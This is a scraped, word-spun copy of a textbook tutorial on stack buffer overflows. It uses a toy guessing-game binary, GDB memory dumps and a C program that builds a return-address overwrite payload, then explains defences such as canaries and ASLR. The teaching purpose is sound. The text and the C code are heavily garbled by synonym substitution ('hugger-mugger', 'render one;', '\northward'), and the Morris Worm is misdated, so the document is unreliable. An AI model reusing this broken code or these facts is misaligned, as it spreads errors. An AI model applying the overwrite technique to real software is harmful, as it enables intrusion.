banner



What Register Does Scanf Store

The C linguistic communication does not perform automatic array bounds checking. Accessing memory outside of the bounds of an assortment is problematic and frequently results in errors such as partitioning faults. Still, a clever attacker can inject malicious code that intentionally overruns the boundary of an array (likewise known as a buffer) to force the program to execute in an unintended manner. In the worst cases, the assaulter tin run code that allows them to gain root privilege, or Bone-level access to the calculator organization. A piece of software that takes advantage of the beingness of a known buffer overrun error in a programme is known equally a buffer overflow exploit.

In this section, we apply GDB and associates language to fully characterize the mechanics of a buffer overflow exploit. Prior to reading this affiliate we encourage you to explore the chapter discussing GDB for inspecting assembly code.

7.10.1. Famous Examples of Buffer Overflow

Buffer overflow exploits emerged in the 1980s and remained a principal scourge of the computing industry through the early parts of the 2000s. While many modern operating systems accept protections against the simplest buffer overflow attacks, careless programming errors can notwithstanding get out modern programs wide open up to attack. Buffer overflow exploits have recently been discovered in Skypei, Androidtwo, Google Chrome3, and others.

Here are some notable historic examples of buffer overflow exploits.

The Morris Worm

The Morris Worm4 was released in 1998 on ARPANet from MIT (to hide that it was written past a educatee at Cornell) and exploited a buffer overrun vulnerability that existed in the UNIX finger daemon (fingerd). In Linux and other UNIX-like systems, a daemon is a type of process that continuously executes in the background, usually performing clean-upwardly and monitoring tasks. The fingerd daemon returns a user-friendly study on a computer or person. Most crucially, the worm had a replication mechanism that caused information technology to be sent to the same computer multiple times, bogging down the system to an unusable country. Although the writer claimed that the worm was meant as a harmless intellectual practice, the replication machinery enabled the worm to spread easily and made it difficult to remove. In time to come years, other worms would employ buffer overflow exploits to gain unauthorized access into systems. Notable examples include Code Red (2001), MS-SQLSlammer (2003), and W32/Equalizer (2003).

AOL Chat Wars

David Auerbach5, a quondam Microsoft engineer, detailed his experience with a buffer overflow during his efforts to integrate Microsoft'southward Messenger Service (MMS) with AOL Instant Messenger in the late 1990s. Back then, AOL Instant Messenger (AIM) was the service to employ if you wanted to instant message (or IM) friends and family. Microsoft tried to gain a foothold in this market by designing a feature in MMS that enabled MMS users to talk to their AIM "buddies." Displeased, AOL patched their servers and then that MMS could no longer connect to them. Microsoft engineers figured out a way for MMS clients to mimic the messages sent by AIM clients to AOL servers, making it difficult for AOL to distinguish between messages received past MMS and AIM. AOL responded past changing the mode AIM sent messages, and MMS engineers duly changed their client'southward messages to one time again match AIM's. This "chat war" connected until AOL started using a buffer overflow error in their own client to verify that sent messages came from AIM clients. Since MMS clients did not have the same vulnerability, the chat wars ended, with AOL as the victor.

7.10.ii. A Starting time Look: The Guessing Game

To help you empathise the mechanism of the buffer overflow set on, we provide the executable of a simple programme that enables the user to play a guessing game with the program. Download the secret executable at this link and extract it using the tar control:

$ tar -xzvf secretx86-64.tar.gz

Below, we provide a copy of main.c (principal.c), the main file associated with the executable:

              #include <stdio.h> #include <stdlib.h> #include "other.h" //contains hole-and-corner office definitions  /*prints out the You Win! message*/ void endGame(void) {     printf("You win!\northward");     exit(0); }  /*main role of the game*/ int main() {     int guess, secret, len;     char buf[12]; //buffer (12 bytes long)      printf("Enter secret number:\northward");     scanf("%s", buf); //read judge from user input     estimate = atoi(buf); //convert to an integer      undercover = getSecretCode(); //call the getSecretCode function      //check to see if approximate is correct     if (estimate == hugger-mugger) {         printf("You got it right!\northward");     }     else {         printf("You are so incorrect!\north");         render one; //if incorrect, leave     }      printf("Enter the secret cord to win:\n");     scanf("%s", buf); //get secret string from user input      judge = calculateValue(buf, strlen(buf)); //call calculateValue function      //bank check to see if judge is right     if (approximate != surreptitious) {         printf("Y'all lose!\due north");         return 2; //if guess is incorrect, exit     }      /*if both the secret cord and number are correct     call endGame()*/     endGame();      return 0; }            

This game prompts the user to enter first a hush-hush number and then a underground string to win the guessing game. The header file other.h contains the definition of the getSecretCode and calculateValue functions, simply it is unavailable to us. How so can a user vanquish the program? Beast forcing the solution volition have too long. One strategy is to clarify the secret executable in GDB and step through the assembly to reveal the hugger-mugger number and string. The process of examining assembly code to reveal noesis of how it works is commonly referred to as reverse engineering assembly. Readers comfortable plenty with their GDB and assembly reading skills should be able to figure out what the secret number and the secret cord should exist by using GDB to reverse engineer their values.

However, at that place is a different, sneakier manner to win.

7.10.3. Taking a Closer Expect (Under the C)

The program contains a potential buffer overrun vulnerability at the first phone call to scanf. To empathise what is going on, let's inspect the assembly lawmaking of the chief role using GDB. Let's likewise place a breakpoint at address 0x0000000000400717, which is the address of the instruction right before the call to scanf (annotation that placing the breakpoint at the address of scanf causes program execution to halt inside the call to scanf, not in main).

              0x00000000004006f2 <+0>:   push   %rbp    0x00000000004006f3 <+one>:   mov    %rsp,%rbp    0x00000000004006f6 <+four>:   sub    $0x20,%rsp    0x00000000004006fa <+8>:   movl   $0x3,-0x4(%rbp)    0x0000000000400701 <+fifteen>:  mov    $0x400873,%edi    0x0000000000400706 <+xx>:  callq  0x400500 <printf@plt>    0x000000000040070b <+25>:  lea    -0x20(%rbp),%rax    0x000000000040070f <+29>:  mov    %rax,%rsi    0x0000000000400712 <+32>:  mov    $0x400888,%edi => 0x0000000000400717 <+37>:  mov    $0x0,%eax    0x000000000040071c <+42>:  callq  0x400540 <scanf@plt>

Figure ane depicts the stack immediately before the phone call to scanf.

before

Figure 1. The call stack immediately before the call to scanf

Prior to the telephone call to scanf, the get-go ii arguments for scanf are preloaded into registers %edi and %rsi, respectively. The lea educational activity at location <main+25> creates the reference for array buf.

Now, suppose the user enters 1234567890 at the prompt. Effigy 2 illustrates what the stack looks similar immediately after the call to scanf completes.

after

Figure 2. The call stack immediately subsequently the call to scanf with input 1234567890

Recall that the hex values for the ASCII encodings of the digits 0 to 9 are 0x30 to 0x39, and that each stack retentiveness location is eight bytes long. The frame pointer is 32 bytes abroad from the stack pointer. Readers tracing along tin confirm the value of %rbp by using GDB to print its value (p $rbp). In the case shown, the value of %rbp is 0x7fffffffdd10. The post-obit command allows the reader to inspect the 48 bytes (in hex) below annals %rsp:

This GDB command yields output that looks similar to the following:

(gdb) x /48bx $rsp 0x7fffffffdcf0: 0x31  0x32  0x33  0x34  0x35  0x36  0x37  0x38 0x7fffffffdcf8: 0x39  0x30  0x00  0x00  0x00  0x00  0x00  0x00 0x7fffffffdd00: 0xf0  0xdd  0xff  0xff  0xff  0x7f  0x00  0x00 0x7fffffffdd08: 0x00  0x00  0x00  0x00  0x03  0x00  0x00  0x00 0x7fffffffdd10: 0xd0  0x07  0x40  0x00  0x00  0x00  0x00  0x00 0x7fffffffdd18: 0x30  0xd8  0xa2  0xf7  0xff  0x7f  0x00  0x00

Each line represents one 64-scrap accost, or two 32-bit addresses. So, the value associated with the 32-bit address 0x7fffffffdd0c is located at the rightmost four bytes of the line showing 0x7fffffffdd08.

Multibyte values are stored in petty-endian guild

In the preceding assembly segment, the byte at address 0xf7ffffffdd00 is 0xf0, the byte at address 0xf7ffffffdd01 is 0xdd, the byte at address 0xf7ffffffdd02 is 0xff, the byte at address 0xf7ffffffdd03 is 0xff, the byte at address 0xf7ffffffdd04 is 0xff, and the byte at address 0xf7ffffffdd05 is 0x7f. However, the 64-scrap value at address 0x7fffffffdd00 is in fact 0x7fffffffddf0. Remember that since x86-64 is a niggling-endian system, the bytes for multibyte values such equally addresses are stored in contrary lodge.

In this case, the address for buf is located at the top of the stack. Therefore, the showtime 2 addresses concur the inputted bytes associated with input the string 1234567890:

0x7fffffffdcf0: 0x31  0x32  0x33  0x34  0x35  0x36  0x37  0x38 0x7fffffffdcf8: 0x39  0x30  0x00  0x00  0x00  0x00  0x00  0x00

The null termination byte \0 appears in the third near significant byte location at accost 0x7fffffffdcf8 (i.e., at address 0x7fffffffdcfa). Retrieve that scanf terminates all strings with a zip byte.

Of course, 1234567890 is not the hugger-mugger number. Here is the output when nosotros try to run secret with input string 1234567890:

$ ./secret $ ./secret Enter secret number: 1234567890 Yous are then incorrect! $ echo $? 1

The echo $? control prints out the return value of the concluding executed control in the beat out. In this instance, the program returned 1, since the underground number we entered is wrong. Recall that by convention, programs render 0 when in that location are no errors. Our goal going frontward is to play a joke on the program into exiting with a return value of 0, indicating that we won the game.

vii.10.four. Buffer Overflow: Starting time Attempt

Adjacent, permit'due south effort typing in the cord 1234567890123456789012345678901234567890123:

$ ./hole-and-corner Enter secret number: 1234567890123456789012345678901234567890123 You are and so incorrect! Segmentation fault (cadre dumped) $ repeat $? 139

Interesting! Now the program crashes with a segmentation fault, with render lawmaking 139. Effigy three shows what the call stack for main looks like immediately afterward the call to scanf with this new input.

after2

Figure 3. The call stack immediately afterward the phone call to scanf with input 1234567890123456789012345678901234567890123

The input string is then long that it non only overwrote the value stored at accost 0xd10, but it spilled over into the return accost below the stack frame for chief. Think that when a function returns, the plan tries to resume execution at the accost specified by the return address. In this case, the plan tries to resume execution at accost 0xf7ff00333231 later exiting main, which does non announced to exist. So the program crashes with a division fault.

Rerunning the program in GDB (input.txt contains the input cord higher up) reveals this devilry in action:

$ gdb secret (gdb) break *0x0000000000400717 (gdb) run < input.txt (gdb) ni (gdb) x /48bx $rsp 0x7fffffffdcf0: 0x31  0x32  0x33  0x34  0x35  0x36  0x37  0x38 0x7fffffffdcf8: 0x39  0x30  0x31  0x32  0x33  0x34  0x35  0x36 0x7fffffffdd00: 0x37  0x38  0x39  0x30  0x31  0x32  0x33  0x34 0x7fffffffdd08: 0x35  0x36  0x37  0x38  0x39  0x30  0x31  0x32 0x7fffffffdd10: 0x33  0x34  0x35  0x36  0x37  0x38  0x39  0x30 0x7fffffffdd18: 0x31  0x32  0x33  0x00  0xff  0x7f  0x00  0x00 (gdb) northward Single stepping until exit from function main, which has no line number information. You are so wrong! 0x00007fff00333231 in ?? ()

Notice that our input string blew past the stated limits of the array buf, overwriting all the other values stored on the stack. In other words, our string created a buffer overrun and corrupted the phone call stack, causing the program to crash. This process is also known as smashing the stack.

seven.10.five. A Smarter Buffer Overflow: Second Attempt

Our beginning example smashed the stack by overwriting the %rbp register and return address with junk, causing the program to crash. An assaulter whose goal is to but crash a program would exist satisfied at this indicate. Yet, our goal is to trick the guessing game to return 0, indicating that we won the game. We reach this by filling the phone call stack with data more meaningful than junk values. For example, we could overwrite the stack so that the return address is replaced with the address of endGame. Then, when the program attempts to return from master, information technology will instead execute endGame rather than crashing with a segmentation fault.

To find out the accost of endGame, let'south inspect secret again in GDB:

$ gdb secret (gdb) disas endGame Dump of assembler code for part endGame:    0x00000000004006da <+0>:   button   %rbp    0x00000000004006db <+one>:   mov    %rsp,%rbp    0x00000000004006de <+4>:   mov    $0x40086a,%edi    0x00000000004006e3 <+9>:   callq  0x400500 <puts@plt>    0x00000000004006e8 <+14>:  mov    $0x0,%edi    0x00000000004006ed <+19>:  callq  0x400550 <exit@plt> Terminate of assembler dump.

Find that endGame starts at address 0x00000000004006da. Figure iv illustrates a sample exploit that forces underground to run the endGame function.

exploit

Figure 4. A sample string that tin can forcefulness secret to execute the endGame function

Essentially, there are 40 bytes of junk values followed by the return address. Again, since x86-64 is a little-endian system the bytes in the return address appear to be in reverse guild.

The following plan illustrates how an attacker could construct the preceding exploit:

              #include <stdio.h>  char ebuff[]= "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /*first 10 bytes of junk*/ "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /*next ten bytes of junk*/ "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /*following ten bytes of junk*/ "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /*last 10 bytes of junk*/ "\xda\x06\x40\x00\x00\x00\x00\x00" /*address of endGame (petty endian)*/ ;  int main(void) {     int i;     for (i = 0; i < sizeof(ebuff); i++) { /*impress each character*/         printf("%c", ebuff[i]);     }     render 0; }            

The \ten earlier each number indicates that the number is formatted as the hexadecimal representation of a graphic symbol. Subsequently defining ebuff[], the master function simply prints information technology out, character by character. To go the associated byte cord, compile and run this plan every bit follows:

$ gcc -o genEx genEx.c $ ./genEx > exploit

To employ the file exploit as input to scanf information technology suffices to run clandestine with exploit as follows:

$ ./clandestine < exploit Enter secret number: You are and then wrong! You lot win!

The program prints out "Y'all are and so incorrect!" since the string contained in exploit is not the surreptitious number. However, the program also prints out the string "You win!" Recall, though, that our goal is to trick the program to return 0. In a larger system, where the notion of "success" is tracked by an external programme, information technology is often well-nigh important what a program returns, not what information technology prints out.

Checking the return value yields:

Our exploit works! We won the game!

vii.10.6. Protecting Against Buffer Overflow

The example we showed changed the control flow of the hole-and-corner executable, forcing information technology to return a zilch value associated with success. However, an exploit similar this could do some real harm. Furthermore, some older computer systems executed bytes from stack memory. If an attacker placed bytes associated with associates instructions on the call stack, the CPU would interpret the bytes as existent instructions, enabling the attacker to forcefulness the CPU to execute any capricious code of their choosing. Fortunately, there are strategies that modern reckoner systems utilize to make information technology more than difficult for attackers to run buffer overflow exploits:

  • Stack randomization: The Os allocates the starting address of the stack at a random location in stack retentiveness, causing the position/size of the telephone call stack to vary from one run of a program to another. Multiple machines running the aforementioned lawmaking would have unlike stack addresses. Modernistic Linux systems employ stack randomization as a standard do. However, a determined assailant can beast force the set on, by attempting to echo attacks with different addresses. A common trick is to use a NOP sled (i.e., a large number of nop instructions) before the bodily exploit lawmaking. Executing the nop instruction (0x90) has no effect, other than causing the programme counter to increment to the next teaching. As long as the assailant can become the CPU to execute somewhere in the NOP sled, the NOP sled will eventually lead to the exploit code that follows it. Aleph 1'south writeup, Groovy the Stack for Fun and Profit vi details the mechanism of this blazon of attack.

  • Stack corruption detection: Another line of defense force is to try to detect when the stack is corrupted. Contempo versions of GCC use a stack protector known as a canary that acts every bit a guard between the buffer and the other elements of the stack. A canary is a value stored in a nonwriteable department of memory that can exist compared to a value put on the stack. If the canary "dies" during a plan's execution, the program knows that it is under assault and aborts with an fault message. A clever attacker can, however, replace the canary to preclude the program from detecting stack corruption.

  • Limiting executable regions: In this line of defense, executable code is restricted to simply particular regions of retentivity. In other words, the call stack is no longer executable. However, even this defense can be defeated. In an attack utilizing return-oriented programming (ROP), an assailant can "ruby-pick" instructions in executable regions and jump from instruction to instruction to build an exploit. There are some famous examples of this online, particularly in video gamesseven.

However, the best line of defense is always the programmer. To preclude buffer overflow attacks on your programs, use C functions with length specifiers whenever possible and add together code that performs array bounds checking. It is crucial that any defined arrays friction match the chosen length specifiers. Tabular array 1 lists some common "bad" C functions that are vulnerable to buffer overflow and the corresponding "good" function to utilise (assume that buf is allocated 12 bytes).

Table i. C Functions with Length Specifiers
Instead of: Use:

gets(buf)

fgets(buf, 12, stdin)

scanf("%southward", buf)

scanf("%12s", buf)

strcpy(buf2, buf)

strncpy(buf2, buf, 12)

strcat(buf2, buf)

strncat(buf2, buf, 12)

sprintf(buf, "%d", num)

snprintf(buf, 12, "%d", num)

The secret2 binary (secret2x86-64.tar.gz) no longer has the buffer overflow vulnerability. The chief function of this new binary (main2.c) appears beneath:

              #include <stdio.h> #include <stdlib.h> #include "other.h" //contain cloak-and-dagger office definitions  /*prints out the You Win! message*/ void endGame(void) {     printf("You win!\northward");     exit(0); }  /*chief role of the game*/ int primary() {     int guess, secret, len;     char buf[12]; //buffer (12 bytes long)      printf("Enter cloak-and-dagger number:\n");     scanf("%12s", buf); //read guess from user input (stock-still!)     guess = atoi(buf); //convert to an integer      hole-and-corner=getSecretCode(); //call the getSecretCode office      //cheque to see if guess is correct     if (gauge == cloak-and-dagger) {         printf("You got it correct!\n");     }     else {         printf("You are so wrong!\n");         render 1; //if incorrect, exit     }      printf("Enter the secret string to win:\n");     scanf("%12s", buf); //get secret string from user input (fixed!)      guess = calculateValue(buf, strlen(buf)); //phone call calculateValue function      //check to see if guess is right     if (guess != secret) {         printf("You lose!\n");         return 2; //if guess is incorrect, exit     }      /*if both the secret string and number are correct     phone call endGame()*/     endGame();      render 0; }            

Notice that we added a length specifier to all calls of scanf, causing the scanf office to stop reading from input later the showtime 12 bytes are read. The exploit string no longer breaks the program:

$ ./secret2 < exploit Enter secret number: You are so wrong! $ echo $? one

Of class, whatsoever reader with basic contrary-engineering science skills tin can still win the guessing game by analyzing the assembly code. If you haven't tried to crush the plan yet with opposite applied science, we encourage you lot to exercise so now.

References

  1. Mohit Kumar. Critical Skype Bug Lets Hackers Remotely Execute Malicious Code. 2017.

  2. Tamir Zahavi-Brunner. CVE-2017-13253: Buffer overflow in multiple Android DRM services. 2018.

  3. Tom Bound. Google Patches 'High Severity' Browser Bug. 2017.

  4. Christopher Kelty. The Morris Worm Limn Magazine, Event 1: Systemic Risk. 2011.

  5. David Auerbach. Chat Wars: Microsoft vs. AOL NplusOne Magazine, Event 19. Spring 2014.

  6. Aleph Ane. Cracking the Stack for Fun and Profit. 1996.

  7. DotsAreCool. Super Mario World Credit Warp (Nintendo ROP example). 2015.

What Register Does Scanf Store,

Source: https://diveintosystems.org/book/C7-x86_64/buffer_overflow.html

Posted by: hisleoffet1962.blogspot.com

0 Response to "What Register Does Scanf Store"

Post a Comment

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel